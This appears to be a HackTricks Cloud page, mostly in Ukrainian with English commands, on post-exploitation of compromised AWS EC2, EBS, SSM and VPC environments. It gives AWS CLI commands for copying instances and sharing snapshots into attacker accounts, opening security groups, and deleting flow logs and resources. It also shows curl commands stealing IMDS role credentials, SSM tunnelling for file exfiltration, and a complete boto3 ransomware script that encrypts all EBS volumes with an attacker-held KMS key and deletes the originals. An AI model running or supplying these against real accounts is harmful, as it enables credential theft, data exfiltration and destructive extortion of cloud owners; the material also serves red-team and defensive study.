AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
EC2 & VPC
Для отримання додаткової інформації див.:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring дублює вхідний та вихідний трафік для EC2 інстансів у VPC без необхідності встановлювати щось на самі інстанси. Цей дубльований трафік зазвичай відправляють до чогось на зразок мережевої системи виявлення вторгнень (IDS) для аналізу та моніторингу.
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати конфіденційну інформацію з нього:
Для детальнішої інформації див. цю сторінку:
Copy Running Instance
Інстанси зазвичай містять певну конфіденційну інформацію. Існують різні способи потрапити всередину (див. EC2 privilege escalation tricks). Однак інший спосіб перевірити, що в ньому міститься — створити AMI і запустити новий інстанс (навіть у власному акаунті) з нього:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, які зазвичай містять чутливу інформацію, тому їх перевірка має розкрити цю інформацію.
Якщо ви знайдете a volume without a snapshot ви можете: Create a snapshot і виконати наступні дії або просто mount it in an instance в межах акаунта:
Covert Disk Exfiltration via AMI Store-to-S3
Експортуйте EC2 AMI напряму в S3 за допомогою CreateStoreImageTask, щоб отримати raw disk image без snapshot sharing. Це дозволяє виконати повну офлайн-форензіку або крадіжку даних, залишивши мережу instance недоторканою.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Прикріпіть io1/io2 Multi-Attach volume до другої instance і змонтуйте його в режимі read-only, щоб викачувати live data без snapshots. Корисно, коли victim volume вже має Multi-Attach увімкнений в межах тієї самої AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Створіть EC2 Instance Connect Endpoint, авторизуйте ingress і інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи lateral movement без відкриття публічних портів.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видавати себе за trusted hosts, які знаходяться в allowlist за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив’язані до конкретних адрес.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Переасоціюйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку непомітно розширює доступ через усі залежні SG правила без зміни самого SG.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Атакувальник з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound rules до security groups (наприклад, дозволяючи tcp:80 з 0.0.0.0/0), тим самим піддаючи internal services публічному Internet або іншим неавторизованим мережам.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Атакуючий із правами ec2:ReplaceNetworkAclEntry (або схожими) може змінити Network ACLs (NACLs) у subnet, зробивши їх дуже дозволяючими — наприклад дозволивши 0.0.0.0/0 на критичних портах — що відкриває весь діапазон subnet в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються per-instance, NACLs застосовуються на рівні subnet, тому зміна обмежувального NACL може мати значно більший blast radius, дозволяючи доступ до значно більшої кількості hosts.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Зловмисник, який має дозволи ec2:Delete* та iam:Remove*, може видаляти критично важливі інфраструктурні ресурси та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайний збій сервісу, втрату даних та утрату судових доказів.
One example is deleting a security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Налаштуйте VPC Flow Logs на запис у S3 bucket, контрольований атакуючим, щоб постійно збирати мережеві метадані (source/destination, ports) за межами облікового запису жертви для довготривалої розвідки.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Навіть якщо ви жорстко заблокуєте EC2 так, що трафік не виходить, він все одно може exfil via DNS.
- VPC Flow Logs не будуть це записувати.
- Ви не маєте доступу до AWS DNS logs.
- Вимкніть це, встановивши “enableDnsSupport” у false за допомогою:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Атакуючий може викликати API endpoints облікового запису, яким він контролює. Cloudtrail буде логувати ці виклики, і атакуючий зможе бачити exfiltrate data у Cloudtrail logs.
Open Security Group
Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
На ECS з EC2 launch type контрольна площина приймає на себе кожен task role і передає тимчасові облікові дані агенту ECS через Agent Communication Service (ACS) WebSocket канал. Агент потім надає ці облікові дані контейнерам через task metadata endpoint (169.254.170.2). Дослідження ECScape показує, що якщо контейнер може дістатися до IMDS і вкрасти instance profile, він може імітувати агента через ACS і отримати креденшали кожного task role на цьому хості, включно з креденшалами task execution role, які не видно через metadata endpoint.
Attack chain
- Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call
ecs:DiscoverPollEndpointto obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include
sendCredentials=true. ECS accepts the connection as a valid agent session and begins streamingIamRoleCredentialsmessages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Setting IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | ✅ | Кожен task отримує власний ENI, який все ще знаходиться на відстані одного hop від IMDS, тому токени і відповіді метаданих успішно надходять. |
host | ✅ | Tasks ділять namespace хоста, тож вони бачать ту ж відстань у hop, що й EC2 instance. |
bridge | ❌ | Відповіді гинуть на Docker bridge, бо цей додатковий hop вичерпує ліміт hoppів. |
Тому ніколи не припускайте, що hop limit 1 захищає awsvpc або host-mode workloads — завжди тестуйте зсередини ваших контейнерів.
Detecting IMDS blocks per network mode
-
awsvpc tasks: Security groups, NACLs або зміни у маршрутизації не можуть заблокувати link-local адресу 169.254.169.254, бо Nitro інжектить її на хості. Перевірте
/etc/ecs/ecs.configна наявністьECS_AWSVPC_BLOCK_IMDS=true. Якщо прапорець відсутній (за замовчуванням), ви можете curl IMDS прямо з task. Якщо він встановлений, перейдіть у namespace хоста/агента, щоб переключити його назад, або виконайте свої інструменти поза awsvpc. -
bridge mode: Коли запити до metadata не вдаються, навіть якщо hop limit 1 сконфігуровано, захисники ймовірно вставили
DOCKER-USERdrop правило типу--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Перелікiptables -S DOCKER-USERце виявляє, а доступ root дозволяє видалити або змінити порядок правила перед опитуванням IMDS. -
host mode: Перевірте конфігурацію агента на
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ця опція повністю видаляє task IAM roles, тому вам доведеться або знову її ввімкнути, перейти на awsvpc tasks, або вкрасти креденшали через інший процес на хості. Коли значенняtrue(за замовчуванням), будь-який процес у host-mode — включно з компрометованими контейнерами — може звертатися до IMDS, якщо тільки не застосовано спеціальні eBPF/cgroup фільтри на169.254.169.254; шукайте tc/eBPF програми або iptables правила, що посилаються на цю адресу.
Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
Remove VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Необхідні дозволи:
ssm:StartSession
Окрім виконання команд, SSM дозволяє тунелювання трафіку, яке можна використати для pivot з EC2 instances, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, — це pivoting з Bastion Host до приватного EKS кластера.
Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Встановіть SessionManagerPlugin на вашій машині
- Увійдіть на Bastion EC2 використовуючи наступну команду:
aws ssm start-session --target "$INSTANCE_ID"
- Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта Abusing SSRF in AWS EC2 environment
- Перенесіть облікові дані на власну машину у файл
$HOME/.aws/credentialsяк профіль[bastion-ec2] - Увійдіть у EKS як Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Оновіть поле
serverу файлі$HOME/.kube/config, щоб воно вказувало наhttps://localhost - Створіть тунель SSM наступним чином:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Трафік інструмента
kubectlтепер переадресовується через SSM tunnel через Bastion EC2, і ви можете отримати доступ до приватного EKS cluster зі своєї машини, виконавши:
kubectl get pods --insecure-skip-tls-verify
Зверніть увагу, що SSL-з’єднання не вдасться встановити, якщо ви не вкажете прапорець --insecure-skip-tls-verify (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви захищені від будь-яких MitM-атак.
Нарешті, ця техніка не є специфічною лише для атак на приватні EKS кластери. Ви можете вказати довільні домени та порти, щоб pivot до будь-якого іншого AWS сервісу або власного застосунку.
Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession)
Якщо вам потрібно перенаправити лише один TCP-порт з EC2 інстансу на ваш локальний хост, ви можете використати документ SSM AWS-StartPortForwardingSession (параметр віддаленого хоста не потрібен):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Команда встановлює двосторонній тунель між вашою робочою станцією (localPortNumber) і обраним портом (portNumber) на інстансі без відкриття будь-яких inbound Security-Group правил.
Типові випадки використання:
- File exfiltration
- На інстансі запустіть швидкий HTTP сервер, який обслуговуватиме директорію, яку ви хочете exfiltrate:
python3 -m http.server 8000
- З вашої робочої станції отримайте файли через тунель SSM:
curl http://localhost:8000/loot.txt -o loot.txt
- Доступ до внутрішніх веб-додатків (наприклад Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Порада: стисніть і зашифруйте докази перед exfiltrating, щоб CloudTrail не реєстрував незашифрований вміст:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Надати доступ до AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Пошук чутливої інформації в публічних та приватних AMIs
- https://github.com/saw-your-packet/CloudShovel: CloudShovel — інструмент, призначений для пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs). Він автоматизує процес запуску instances з цільових AMIs, монтування їхніх volumes та сканування на наявність потенційних secrets або чутливих даних.
Поділитися EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Доказ концепції, подібний до демонстрації Ransomware, наведеної в нотатках щодо S3 post-exploitation. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних AWS сервісів.
Спочатку з ‘attacker’ AWS облікового запису створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії malicious actor залишив би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати ключ. Для цієї key policy ім’я облікового запису було ‘AttackSim’, а правило політики, що дозволяє повний доступ, називається ‘Outside Encryption’.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Політика ключа повинна мати увімкненими наступні дозволи, щоб дозволити використання його для шифрування EBS-тома:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Тепер, маючи публічно доступний ключ для використання. Ми можемо використати ‘victim’ акаунт, в якому є кілька запущених EC2 інстансів з приєднаними незашифрованими EBS-томами. Саме EBS-томи цього ‘victim’ акаунту є нашою ціллю для шифрування; ця атака проводиться за припущенням компрометації AWS-акаунту з високими привілеями.
Подібно до S3 ransomware прикладу. Ця атака створить копії приєднаних EBS-томів за допомогою snapshots, використає публічно доступний ключ з ‘attacker’ акаунту для шифрування нових EBS-томів, потім від’єднає оригінальні EBS-томи від EC2 інстансів та видалить їх, а наприкінці видалить snapshots, які були використані для створення нових зашифрованих EBS-томів.
В результаті в акаунті залишаться тільки зашифровані EBS-томи.
Також варто зазначити, що скрипт зупинив EC2 інстанси, щоб від’єднати і видалити оригінальні EBS-томи. Оригінальні незашифровані томи тепер зникли.
Далі поверніться до політики ключа в ‘attacker’ акаунті і видаліть правило політики ‘Outside Encryption’ з політики ключа.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Зачекайте трохи, щоб щойно встановлена key policy поширилася. Потім поверніться до облікового запису ‘victim’ і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви помітите, що том можна прикріпити.
Але коли ви намагаєтеся фактично запустити EC2 instance з приєднаним зашифрованим EBS томом, запуск не вдається — інстанс переходить зі стану ‘pending’ назад у ‘stopped’ і лишається там, оскільки приєднаний EBS том не може бути розшифрований цим ключем через те, що key policy більше цього не дозволяє.
This the python script used. It takes AWS creds for a ‘victim’ account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted ‘victim’ account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
References
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – How to transfer files in AWS using SSM
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

